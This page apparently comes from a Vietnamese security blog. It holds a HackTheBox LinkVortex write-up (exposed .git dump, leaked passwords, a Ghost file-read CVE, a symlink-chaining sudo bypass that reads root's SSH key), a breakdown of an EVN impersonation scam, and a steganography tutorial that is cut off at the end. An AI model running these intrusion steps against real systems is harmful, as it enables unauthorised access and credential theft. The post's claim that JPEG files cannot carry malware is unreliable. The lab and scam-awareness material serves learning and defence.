:: Progress: [12939/12939] :: Job [1/1] :: 255 req/sec :: Duration: [0:00:38] :: Errors: 4147 ::

Có hàng tá thông tin có ích nhưng với subdomain dev có vẻ có nhiều thứ hay ho hơn :))). Nhưng hãy thử kiểm tra qua một lượt tất cả thông tin vừa thu thập được để tránh miss những manh mỗi hữu ích.

Tất cả những endpoints được kiểm tra qua một lượt ở http://linkvortex.htb/ đều không đem lại nhiều thông tin hữu ích, ngoại trừ robots.txt

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# curl http://linkvortex.htb/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Tất cả những domain được Disallow đều trả 404 ngoại trừ **/ghost/ đã navigate về một trang login. Điều này mở ra một chân trời mới với những ý tưởng mới 🤤

Các ý tưởng và khả năng có thể thực hiện:

Brute force login account
Exploit CVE dựa vào framework version

Đối với ý tưởng này, đó nên là kế hoạch B bởi vì khả năng để brute force được một admin account sẽ thấp và tốn thời gian, chưa kể bạn vẫn chưa thể biết được bất cứ username nào. Việc này nếu muốn thực hiện thì nên được làm như một background script (có thể tạo một docker container để isolate process này với các task khác) thực hiện brute force tìm username và sau đó brute force tiếp password dựa trên username đó và có thể lãng quên nó trong một thời gian mặc kệ nó chạy. Nếu may mắn đến với bạn thì bạn chỉ cần ngủ một giấc ngon lành từ đêm đến sáng và kết quả sẽ nhả ra admin account cho bạn 🤣.

Theo trực giác, tôi vô tình gõ một account theo tên tổ chức (admin@linkvortex.htb) thì nhận được phản hồi: Your password is incorrect. không giống như khi nhập một email address bất kì:

Chứng tỏ rằng email admin@linkvortex.htb có tồn tại trên hệ thống và chúng ta đã bớt đi một bước để tìm kiếm username. Đây là một sự may mắn.

Việc nghĩ đến tiếp theo sẽ là quét password dựa trên username này. Tuy nhiên, như đã nói ở trên, nó nên là một background script, tôi đã thử thực hiện điều này nhưng không may mắn khi mục tiêu đã được set rate-limit. Vì vậy, cần phải nghĩ đến một phương án tiếp theo.

Exploit CVE dựa vào framework version

Cách này cần tìm được version của Ghost CMS, lần này tôi đã thử thực hiện explore qua Burp để tìm được thông tin version dựa trên các requests và responses.

Tôi đã tìm được ngay sau đó khi khám phá qua login request, không mất nhiều thời gian

Sau khi tìm được version, tôi đã cố gắng tìm kiếm thông tin về bất kì CVE nào đó để có thể RCE vào được. Hiện tại tôi có tìm được một PoC tuy không thể RCE nhưng ít nhất có thể cung cấp được một vài thông tin hữu ích và vector để tôi có thể nghĩ đến việc thực hiện leo thang đặc quyền (LPE).

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

Nhưng CVE này cần username và password để có thể thực hiện. Vì vậy, tôi nghĩ mình phải bắt buộc tìm ra được password trước khi làm các bước tiếp theo.

Vì mục tiêu đã rate-limit requests, tôi cần phải quên ngay việc tiếp tục brute force account.

Nhớ lại trước đó đã tìm được một vài thông tin hữu ích khi thực hiện dò quét endpoints của domain http://dev.linkvortex.htb bên trên. Điểu thu hút sự chú ý của tôi là thư mục .git/ bằng một cách nào đó được vô tình push lên và public ra ngoài internet. Tôi nghĩ tôi sẽ dành hết sự tập trung để khai thác điều này.

Git Exposed Exploit

Điều đầu tiên tôi đã nghĩ đến khi bắt đầu khai thác lỗi này là sẽ download folder này về để có thể tận dụng git-pull được source code.

Sử dụng script: https://github.com/arthaud/git-dumper để dump repo của website

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# git-dumper http://dev.linkvortex.htb/.git/ so
urces/
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
...
Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

Sau khi dump về tôi nhận được source code của website, đến bước này tôi nghĩ mọi chuyện đang dần sáng tỏ.

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# cd sources/
[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# ls
Dockerfile.ghost  PRIVACY.md  SECURITY.md  ghost    package.json
LICENSE           README.md   apps         nx.json  yarn.lock
...

Kiểm tra một vài thay đổi của repo bằng vài command như git log hay git status thì tôi nhận được vài điều hay ho:

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# git status 
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

Có 2 file đã được thay đổi ở đây, hãy xem chúng đã thay đổi những gì:

Có một password nào đó đã được thay đổi, quay lại và thử nó với account đã tìm được lúc nãy (admin@linkvortex.htb) và xem tôi có may mắn hay không.

Thật tuyệt vời! Tôi đã có thể vào được trang quản trị của Ghost CMS 😱

Giờ sẽ làm gì tiếp theo ? Nghĩ lại PoC vừa nãy có yêu cầu password. Tôi đã thử sử dụng PoC để thử đọc được nội dung của những file trên server. Có một vài file tôi có thể đọc được và một vài file thì không. Nhưng thú thực lúc này tôi cũng chưa biết được file nào là hữu ích để tôi có thể đọc 😄. Quyền hạn lúc này là rất hạn chế, tôi đang cố tìm mọi cách để có thể nâng lên RCE. Nhưng điều này có vẻ rất khó khăn đối với một quyền chỉ đọc. Và tôi cảm thấy mệt mỏi khi tìm giải pháp trong những thời gian sau đó 😵‍💫.

Sau đó tôi tính bỏ qua vector này, vì tôi nghĩ đó có thể là một rabbit hole :)) . Chắc phải có một cách nào đó khác để có thể RCE. Nên tôi tính bỏ qua cái PoC này luôn

Lúc đầu óc đang rối bời đột nhiên nghĩ lại rằng dường như mình đã bỏ quên gì đó. Nhận ra lúc kiểm tra git status có 2 file thay đổi chứ không chỉ 1, tôi đã bỏ quên mất thay đổi còn lại. Lúc này, tôi phải quay lại để kiểm tra xem liệu tôi đã bỏ lỡ thứ gì…

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# git diff --cached Dockerfile.ghost
diff --git a/Dockerfile.ghost b/Dockerfile.ghost
new file mode 100644
index 0000000..50864e0
--- /dev/null
+++ b/Dockerfile.ghost
@@ -0,0 +1,16 @@
+FROM ghost:5.58.0
+
+# Copy the config
+COPY config.production.json /var/lib/ghost/config.production.json
+
+# Prevent installing packages
+RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
+
+# Wait for the db to be ready first
+COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
+COPY entry.sh /entry.sh
+RUN chmod +x /var/lib/ghost/wait-for-it.sh
+RUN chmod +x /entry.sh
+
+ENTRYPOINT ["/entry.sh"]
+CMD ["node", "current/index.js"]

Đầu óc bừng tình khi nhìn thấy dòng chữ production nhạy cảm, có vẻ có gì bên trong đó. Với kinh nghiệm làm việc với Docker của tôi, tôi không mất quá 1s để hiểu được tập lệnh này làm gì 😌

Nhưng làm sao để đọc được nội dung của file config.production.json bên trong /var/lib/ghost/ . Là rõ, PoC vừa nãy sẽ giúp bạn điều này 😜.

Sau đó tôi đã thử đọc file cấu hình với hy vọng tìm được một gì đó chí mạng để chấm dứt tất cả những chuỗi ngày tăm tối vừa qua, nhưng có vẻ thông tin đem lại không mấy hữu ích.

Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

Cấu hình có đề cập đến có một dịch vụ SMTP được mở trên cổng 587 bao gồm user và pass, nhưng ở bước đầu khi tôi quét bằng Nmap thì không thấy thông tin port này được hiển thị vì vậy có thể đây là một local port.

Nghĩ về cách làm thế nào để từ admin dashboard kia mà có thể access sang SMTP port được không ? :)) Không, chắc chắn không, it nhất là trong trường hợp này. Nếu có thể, điều đó quá là điên rồ và epic, tôi không muốn kiệt sức và mệt mỏi một lần nữa 😩.

Lúc này thì tay nhanh hơn não, đem account bob@linkvortex.htb login hết tất cả những chỗ có thể login. Bằng một cách nào đó, account này SSH login thành công 🙂.

Tôi nghĩ đây là một trò đùa khốn nạn của tác giả, tại sao account SMTP lại có thể sử dụng để login vào SSH service 😟. Đây có thể là một lời nhắc về việc sử dụng mất khẩu an toàn hoặc nếu vui hơn thì là như tôi vừa nói :))) (một trò đùa).

Nhưng tôi không thấy vui 😃

Khốn nạn thay, bằng một cách khốn kiếp tôi đã SSH được vào server 🙂

Việc của tôi bây giờ là tìm cách để leo lên root để chiếm toàn bộ quyền kiểm soát của máy này. Tôi đã thử quét một vài thông tin trên server để cung cấp cho tôi nhưng vector để tôi có thể leo thang đặc quyền, không gì đáng chú ý ngoài thông tin command được chạy sau:

Linux Privilliage Escalation

Việc chắc chắn cần làm là sẽ cần xem script kia chạy cái gì, thực hiện đọc nội dung của tập lệnh và nhận được kết quả:

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Dễ hiểu, đại loại tập lệnh này sẽ check file path input có bao gồm một symlink và symlink đó trỏ đến những thư mục nhạy cảm (etc|root) thì điều này sẽ không được phép và loại bỏ symlink đó, còn nếu không sẽ thực hiện cách ly tới /var/quarantined và đọc nội dung của file gốc được trỏ tới (dest file).

Tôi không muốn nói tập lệnh này thật ngớ ngẩn cho tới khi nhận ra nó có thể quét để kiểm tra xem có bất kì symlink vi phạm nào tồn tại trên hệ thống tệp linux. Tuy nhiên, nếu để tập lệnh này có thể được chạy được với quyền sudo thì sẽ cần duplicate nó đến tất cả các folder trên máy và tạo một script chạy quét từng folder trên máy với command: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png . Ngoài ra, nó chỉ có khả năng check được những file có đuôi .png . Vì vậy, tôi thấy đây là một điều ngớ ngẩn :))) 🤷

Thôi quên điều ngớ ngẩn này lại, việc của chúng ta bây giờ là chiếm root, ok. Hãy thử tận dụng script này xem có bất kì vector nào để có thể cho chúng ta làm điều đó hay không ?

Có vẻ thì tôi có thể dùng script này đẻ tận dụng để đọc file trong folder root . Tuy nhiên, nó sẽ k thể thực hiện được do đoạn lệnh:

if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK

Ngay cả đối với những file trong /etc cũng vậy.

Vì vậy, tôi sẽ thử nghĩ ra 1 trick để có thể bypass được đoạn script này để process sẽ được chạy vào else của script:

else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi

Nếu tôi bypass được, tôi có thể đọc được nội dung của bất cứ file nào trên máy.

Sau một khoảng suy nghĩ, đọc kỹ lại thì script sẽ chỉ kiểm tra nếu destination của symlink được trỏ tới chứa substring root | etc thì sẽ loại bỏ symlink đó. Tuy nhiên, script này k check đệ quy vấn đề này mà chỉ check 1 lần, dẫn đến việc một phương án bắc cầu hoàn toàn có thể xảy ra. Ví dụ:

[root@vunv-redteam-sb.dev.virt:/tmp]# echo "What can i see anything" > /root/secret.txt
[root@vunv-redteam-sb.dev.virt:/tmp]# cat /root/secret.txt 
What can i see anything
[root@vunv-redteam-sb.dev.virt:/tmp]# ln -s /root/secret.txt a.png
[root@vunv-redteam-sb.dev.virt:/tmp]# ls -l | grep ^l
lrwxrwxrwx 1 root root      16 Jan 20 15:31 a.png -> /root/secret.txt
[root@vunv-redteam-sb.dev.virt:/tmp]# ln -s a.png b.png
[root@vunv-redteam-sb.dev.virt:/tmp]# ls -l | grep ^l
lrwxrwxrwx 1 root root      16 Jan 20 15:31 a.png -> /root/secret.txt
lrwxrwxrwx 1 root root       5 Jan 20 15:32 b.png -> a.png
[root@vunv-redteam-sb.dev.virt:/tmp]# readlink b.png 
a.png # This doesn't point symlink to /root, but its actual do
[root@vunv-redteam-sb.dev.virt:/tmp]# cat b.png 
What can i see anything # BOOOMMMM!!

Check symlink thì sẽ không có bao gồm substring root hay etc, nhưng thực chất nó đang trỏ đến đúng thư mục có chứa root . Quả là một kế hoạch hoàn hảo 🤑

Suýt quên, ở tập lệnh yêu cầu cung cấp variable CHECK_CONTENT=true để có thể hiển thị content của file. Vì vậy, cần phải khai báo biến này trước khi muốn đọc bất cứ gì đó không được phép. 😬

bob@linkvortex:/tmp$ export CHECK_CONTENT=true
bob@linkvortex:/tmp$ env
...
CHECK_CONTENT=true
...
bob@linkvortex:/tmp$ 

Tận dụng để đọc thử ssh key 🙂

bob@linkvortex:/tmp$ ln -s /root/.ssh/id_rsa /home/bob/meow.png
bob@linkvortex:/tmp$ ln -s /home/bob/meow.png go.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ go.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
...
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----
bob@linkvortex:/tmp$ 

Hoàn hảo :)). Coi như đã thành công 99%. Giờ thực hiện ssh vào và kiểm tra:

┌──(kali㉿kali)-[/tmp]
└─$ vim id_rsa
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[/tmp]
└─$ chmod 400 id_rsa 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[/tmp]
└─$ ssh -i id_rsa bob@linkvortex.htb
bob@linkvortex.htb's password: 

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[/tmp]
└─$ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linkvortex:~# 

Cheers!!!!!

Kết

“I am really resilient”

CÁC CHÁU "HACKER LỎ" DẠO GẦN ĐÂY MẠO DANH CẢ ĐIỆN LỰC EVN ĐỂ KIẾM THÊM VÀI NỒI BÁNH CHƯNG.

2025-01-13T00:00:00+00:00

Dạo này có nghe đến vụ giả mạo bên Điện lực EVN rất tinh vi, rất may mắn sáng nay mình trở thành nạn nhân :)) Tầm 10h sáng đột nhiên nhận được một cuộc gọi với nội dung: “Điện lực EVN hiện chưa nhận được bất kì khoản thanh toán của anh ở tháng vừa rồi và sẽ cắt điện vào 12h ngày hôm này. Với nguyên nhân là do nghị định mới blah blah gì gì đó từ tháng 01/2025 cần liên kết tài khoản ngân hàng và thanh toán tiền điện trên ứng dụng của EVN blah blah…”.

Thật ra vụ này đã được cảnh báo trên TV trước đó, nhưng nếu ai k theo dõi thì khả năng cao sẽ bị dính tương tự này vì lần này process rất hợp lý và mượt mà :D.

Do tò mò nên mình không vội cúp máy mà thử nhập vai và xem quá trình chúng nó lừa thế nào :”))

…Điều đáng lưu ý ở đây là scammer đọc đúng thông tin cá nhân của mình đăng kí tới Điện lực EVN. Khả năng rò rỉ thông tin khách hàng ở phía EVN, từ những thông tin đã rò rỉ đó có thể truy vết được những thông tin khác từ các nguồn khác.

Đầu tiên, scammer sẽ yêu cầu 2 thiết bị, 1 thiết bị để call với chúng nó để quay lại thao tác (optional), 1 thiết bị để thao tác theo những gì chúng nó nói (required). Nếu bạn không có đủ 2 thiết bị thì sao ? Không sao, các “chuyên viên tư vấn của Điện lực EVN” sẽ tận tình hướng dẫn bạn liên kết tài khoản vào app chính thống của EVN cho đến cái cách bạn ấn nút chuyển tiền như thế nào :D.

Thủ tục

Scammer sẽ hướng dẫn các bạn vào App Store để tải app Epoint EVN. Bước này hoàn hoàn vô hại vì mình kiểm tra app được tải về là chính thống. Tuy nhiên, đây là bước để tạo dựng được cái niềm tin với người thực hiện (đối với người có am hiểu một chút gì đó về cái gì chính thống, cái gì là app rác hoặc virus hoặc mã độc gì đó theo ngôn ngữ thường hay truyền tai nhau của mọi người thông thường). Còn đối với những người không am hiểu thì có vẻ cái gì cũng sẽ là “chính thống” :D.
Sau khi tải app về bước tiếp theo là mặc kệ nó :)) vì đã tạo dựng niềm tin xong. Lúc này, các chuyên viên tư vấn sẽ xin thông tin cá nhân của bạn, bao gồm Họ tên, Số điện thoại và cần CCCD để xác thực liên kết với ngân hàng. Để làm gì? Chả để làm gì, đó chỉ là thủ tục tạo sự “nghiêm túc”
Khi đã note lại các thông tin cá nhân của khách hàng, họ sẽ yêu cầu bạn mở app ngân hàng cần liên kết. Lúc này, scammer sẽ yêu cầu bạn vào biến động giao dịch để kiểm tra.
Sau khi đã có thông tin số dư tài khoản scammer sẽ đưa cho bạn hình ảnh 1 mã QR gọi là QR để liên kết tài khoản ngân hàng với hệ thống thanh toán của EVN, yêu cầu bạn xác thực lại tất cả thông tin được bao gồm trong hình ảnh mã QR, bao gồm thông tin khách hàng (được đính kém dưới bài viết) và những thông tin khách hàng đó thật ra không đem lại bất cứ ý nghĩa gì vào lúc này, quan trọng là có gì bên trong mã QR kia?.

Cuối cùng scammer yêu cầu bạn tải QR và lưu vào máy (bước này an toàn, tại sao an toàn thì mình sẽ giải thích phía dưới) và mở lại app ngân hàng cần liên kết, vào phần quét mã QR của app. Lúc này họ sẽ yêu cầu mình đặt CCCD lên chính giữa màn hình điện thoại để xác thực :))))))))))). Đồng thời chọn ảnh QR vừa lưu lúc nãy để thực hiện “XÁC THỰC THÔNG TIN LIÊN KẾT”. Nếu bạn ấn Tiếp tục và nhập OTP -> Toàn bộ tiền trong tài khoản của bạn sẽ được chuyển về tài khoản của scammer, lúc này khóc lóc van xin cũng đã muộn do lúc thao tác, toàn bộ thông tin giao dịch lúc đó đã bị chính cái CCCD “đang xác thực” của bạn che lại trong lúc bạn thực hiện giao dịch.

Điều đáng nói ở đây là không có cái gì gọi là thủ đoạn cao siêu hay bị hack hết tiền trong tài khoản ở đây cả, tất cả chỉ là chuyển tiền thông thường từ tài khoản của mình sang tài khoản người khác thông qua mã QR và mọi thông tin chuyển tiền đã bị chính bạn che lại (tự lấy CCCD che giữa màn hình điện thoại để XÁC THỰC THÔNG TIN LIÊN KẾT) trong khi những cái bạn đã che là Thông tin người nhận và Số tiền được chuyển. Mọi sự lầm tưởng lúc đó bạn vẫn nghĩ là bạn đang XÁC THỰC THÔNG TIN LIÊN KẾT từ TK ngân hàng tới EVN.

POV:

Kể từ khi có nghị định mới sau khi bước sang năm 2025, tất cả ngân hàng đều phải xác thực sinh trắc học trước khi giao dịch qua ngân hàng, khi bạn đã xác thực sinh trắc học đồng nghĩa với việc bạn có thể chuyển hết số tiền trong tài khoản chỉ trong 1 lần (không giống như trước đây nêu chưa xác thực, mỗi lần được chuyển tối đa 10tr và 1 ngày được chuyển tối đa 20tr) đây là đòn bẩy tốt đối với những cuộc tấn công dạng Social kiểu này.
Ngoài ra, vừa bước sang năm mới, cái gì cũng sẽ mới, kể cả “nghị định” :)). Thử nghĩ đến việc “cái gì đó vừa được thay đổi và áp dụng đầu năm nay” nó luôn dễ tin hơn những thứ đang bình thường “đột nhiên” thay đổi :)) -> Khoàn này là việc nắm bắt tâm lý đại đa số con người
Trong quá trình thực hiện, scammer sẽ cố gắng hỏi bạn những câu hỏi ngoài lề, những câu hỏi đặt ra liên tục đó không ngoài mục đích gì khác ngoài việc làm bạn lảng tránh “sự hoài nghi” về những cái bạn đang làm và tạo cảm giác gần gũi với bạn để tăng độ tin tưởng :)).
Ở bước kiểm tra biến động giao dịch, cái scammer cần không phải là kiểm tra thông tin giao dịch mà cái họ cần là số dư trong tài khoản của bạn, bước này để xác định số dư hiện tại và tạo QR chuyển tiền tương ứng.
Những thông tin cá nhân của bạn không có ý nghĩa đối với mã QR scammer đã gửi cho bạn, đó chỉ là những thủ tục của sự chuyên nghiệp dẫn dắt bạn đến đúng đích đến họ cần, đich đến đó có thể làm bánh chưng của bạn năm nay “bay hết cả nhân”. Tất cả những thuộc tính bao gồm trong mã QR đó đơn thuần chỉ là một mã QR chuyển tiền thông thường bao gồm Số tài khoản của scammer và Số tiền được chuyển.
Về khả năng nguy hiểm khi tải hình ảnh xuống. Mọi định dạng của hình ảnh khi được gửi thông qua mạng xã hội (Facebook, Zalo, …) đều được lưu ở máy chủ và sẽ được chuẩn hóa về một định dạng chung (JPEG) khi bạn tải xuống. Tính cho đến nay, không thể chèn malware vào file có định dạng JPEG, vì vậy, việc tải xuống là an toàn.
Lúc bạn vừa thao tác vừa nghe điện thoại và làm theo hướng dẫn ít nhiều đã làm bạn phân tâm vì bạn đang thực hiện nhiều việc cùng một lúc trong lúc thực hiện theo hướng dẫn. Từ đó khả năng cuộc scam sẽ tăng nhiều tỉ lệ thành công hơn.
Điều đáng lưu ý là ở mã QR có đề cập đến “Thời gian hiệu lực 60s”, đây là một chiêu để để có thể chuyển tiền nhiều lần với lý do là “Mã đã hết thời gian hiệu lực, cần thao tác lại khi sự thật không phải vậy”, tiền trong tài khoản vẫn cứ bay không hề hay biết :D. Ngoài ra, đây cũng là một tác động đến tâm lý của nạn nhân về việc thao tác nhanh chóng để tránh việc “Hết thời gian hiệu lực” của mã QR và cần thao tác lại. Trong khi mọi người luôn hiểu rằng nếu quá gấp gáp thì sẽ tăng khả năng xảy ra sơ suất trong mọi tình huống, bao gồm cả suy nghĩ về những công việc mình đang làm.

Steganography

2024-09-30T00:00:00+00:00

Trong mật mã học, Steganography là một cách biểu diễn thông tin để khó bị phát hiện bởi con người. Trong thực tế, phương pháp này thường được dùng để ẩn thông tin bí mật trong một file khi truyền tải, nó được sử dụng rất nhiều trong môi trường khắc nghiệt như Deepweb để trao đổi những thông tin bất hợp pháp giúp có thêm cơ hội để giảm thiểu khả năng bị phát hiện bởi những tổ chức An ninh mạng chính phủ. Thông tin bí mật có thể là một file khác hoặc đơn thuần là một file text có chưa nội dung bí mật. Đây có thể là một trong những cách để “đánh lạc hướng” trong các cuộc điều tra kỹ thuật số (Digital Forensics) vì “những cái thực sự thấy chỉ là phần nổi của tảng băng chìm”.

Forensics

Để dễ hình dung, hãy đi vào xem xét một ví dụ sau:

Giả sử một nhóm cybercrime đang thực hiện buôn bán bất hợp pháp trên internet nhưng họ muốn bằng một cách nào đó đánh lạc hướng các điều tra viên nên đã “bẻ lái” câu chuyện thành một cuộc thảo luận về UFO. Trong câu chuyện có bình luận những hình ảnh liên quan đến những alien “rất cute” chẳng hạn như:

Trông thì có vẻ không có gì bất thường ở đây. Nhưng hãy download ảnh này về và tiến hành phân tích chúng.

Đầu tiên, bản chất của image file là một file có chứa tập dữ liệu được mã hóa. Vì vậy ta hoàn toàn có thể kiểm tra file đó bằng lệnh cat :

┌──(kali㉿kali)-[/tmp]
└─$ cat cutie.png          
�PNG
▒
IHD���PLTE�����������������������������������������������������������������������������������������������������������������������������a���*EB��:����ϲ30p�.(CA��b+FB��8">;&@B&A>9RO =:#<A;8$@=96.)%>A��b��:&AA��:��e��c��]��9��_�`P��b4-HC��Z5NK�#▒��W���!:@t�-�ӵ0KG�����������Ͱ���r�-u�"6SB��?/KB�����6��G��������L��C2OB��ب�Z���CZWn�,Rhc��T9X@>VRMc^�ٻ����ꖞ�P��`H_[z�;��W��9l�,���Wli������j}z��])&��c���^rmGk>t�<Nq;��d��;���cwt������>\G��Z�����Ց����:������Q|?Be>>^>��\!EC��������Ј��u����\Y|M��������QsK}��o�~��X�����vEeHm�<��ƌ��a�=l�*x����mg�=$ ������`�2m�R�è]�>���a�OW�>h�0��/����ôf�PWw5���t�S��������°����PLlJ����������󜥰�i{n�:�"�˼}�|z�)[oa�������줃����I��Vx�T�����Aq�q��������W3D?y�5���}�U�aPAA=�>0�'��x�UF�.%sPHz6/|�nVE?e82��ȅ�ZM�UJ��N��D�*tRNS��
�(���0Θ�?E�LU8��]��eԹsxoj������������IDATx����OSg▒�[
W4/ȠD��󞛾=9=���!�ihK�
        d)��i0�P!�Au��Ĉ��,
                          Y$r���;�[�2�v�s����=0�hO9��e�x���y���<���4��䤢�S��*���X�ɂ��d���%��t��t=�`0f��,/I�q�HI-(./19�ey�Z�8L��U���ƲSE:��Aک,؝���Ru▒     OQv:�+��4�FB�����b-J$0)����r⸖_&*G���s-H$&�F�?J
t▒      GR6�7��
               �Fb������N#�8}D���N#aH.փh1��i)g�'@_��R���c:�D�▒�Th�F"p
|2
`w�}��`�kէ�I����Ͼ���t����ʝ��]t���S���2�@��b��F�v;�0v;mu����>-�L\���������▒h��/�����B��z�;����(éAC{�E�$��zI:0L\��"�P�÷t
                                                                                                                      `(K�i���:W�`H<iw�hN�4�I��K����n��w��C#���H�;���
�uUcF�t▒G�<:Dhs�*���j�J���*ߍ/_���_�~��Y]C�qt�G�V��H�׋��jn��p��U��r�<|�\]%��
                                                                           �Yf�4���t ���K
TU�����r��-2_ݰX�1bU}�kC����;/�����&�X5�1;�z~�"E@�@��NC]���
...

Trông có vẻ không khả thi vì toàn bộ thông tin của file đã được mã hóa :D. Lúc này hãy thử lọc ra những ký tự mà chúng ta có thể đọc được bằng lệnh strings

┌──(kali㉿kali)-[/tmp]
└─$ cat cutie.png | strings
...
        ([b!
G9qE
(A}j
^MEjOk
L^ay
"P{J
d: ]
ZT%Q
p7a4u
^[=&
IEND
To_agentR.txt
W\_z#
2a>=
To_agentR.txt
EwwT
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp]
└─$ 

Weu, chúng ta thấy gì này :D, có vè là một file gì đó có tên To_agentR.txt được nhúng trong hình ảnh này. File này có thể có một vài thông tin bí mật sẽ hữu ích trong cuộc điều tra của chúng ta.

Vì vậy, hãy thử trích xuất file này khỏi file ảnh ban đầu.

Kiểm tra các file binaries khác có thể được nhúng trong file:

┌──(kali㉿kali)-[/tmp]
└─$ binwalk cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

Kết quả kiểm tra cho thấy có một tệp Zip được nhúng, và file được zip có tên To_agentR.txt. Vì vậy phán đoán ban đầu của chúng ta đã đúng.

Thực hiện trích xuất toàn bộ dữ liệu của file

──(kali㉿kali)-[/tmp]
└─$ binwalk -e cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

                                                                                                                                                     
┌──(kali㉿kali)-[/tmp]
└─$ ls -la _cutie.png.extracted 
total 316
drwxrwxr-x  2 kali kali    100 Sep 30 04:18 .
drwxrwxrwt 18 root root    460 Sep 30 04:18 ..
-rw-rw-r--  1 kali kali 279312 Sep 30 04:18 365
-rw-rw-r--  1 kali kali  33973 Sep 30 04:18 365.zlib
-rw-rw-r--  1 kali kali    280 Sep 30 04:18 8702.zip
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp]
└─$ 

Một file zip có tên: 8702.zip được trích xuất. Trong đây có thể chứa thông tin chúng ta đang cần. Hãy thử giải nén file đó ra.

Giải nén file

┌──(kali㉿kali)-[/tmp]
